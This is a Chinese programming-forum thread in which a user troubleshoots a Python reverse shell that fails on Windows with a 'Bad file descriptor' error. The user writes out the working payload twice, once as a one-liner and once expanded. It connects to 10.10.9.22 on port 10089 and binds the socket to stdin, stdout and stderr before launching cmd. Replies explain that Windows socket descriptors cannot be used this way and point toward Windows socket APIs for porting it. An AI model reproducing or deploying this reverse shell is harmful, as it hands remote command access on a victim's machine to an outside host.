用python做个cmd的shell传出去,报了个OSError: [Errno 9] Bad file descriptor

add1 2016-01-01 10:02:38
好久没来论坛了~
遇到一个问题,shell连出去以后马上就断了
在linux可以好好运行的脚本,改一改在windows下就不能运行了。我看了下windows的文件描述符也是0输入、1输出、2错误信息啊。怎么来了个OSError: [Errno 9] Bad file descriptor呢。具体脚本如下:

python -c "import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.9.22',10089));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['cmd']);"

写成这样好看一些:
import socket,os,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.10.9.22',10089))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(['cmd','/u']);


报错如下:
OSError: [Errno 9] Bad file descriptor
...全文
1224 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
leak235 2016-01-16
  • 打赏
  • 举报
回复
那表明这种写法是无法移植,.用windows socket的写法吧
add1 2016-01-11
  • 打赏
  • 举报
回复
我在stackoverflow上也问了,目前回答都是这样的,有什么好的建议吗?
leak235 2016-01-03
  • 打赏
  • 举报
回复
socket.fileno() Return the socket’s file descriptor (a small integer). This is useful with select.select(). Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation. 我刚查了下手册,在windows下无法使用,linux可以用 原来在某本书上见到过,win和linux的socket使用是有区别的
add1 2016-01-01
  • 打赏
  • 举报
回复
来个大神讲解下~~

37,720

社区成员

发帖
与我相关
我的任务
社区描述
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
社区管理员
  • 脚本语言(Perl/Python)社区
  • IT.BOB
加入社区
  • 近7日
  • 近30日
  • 至今

试试用AI创作助手写篇文章吧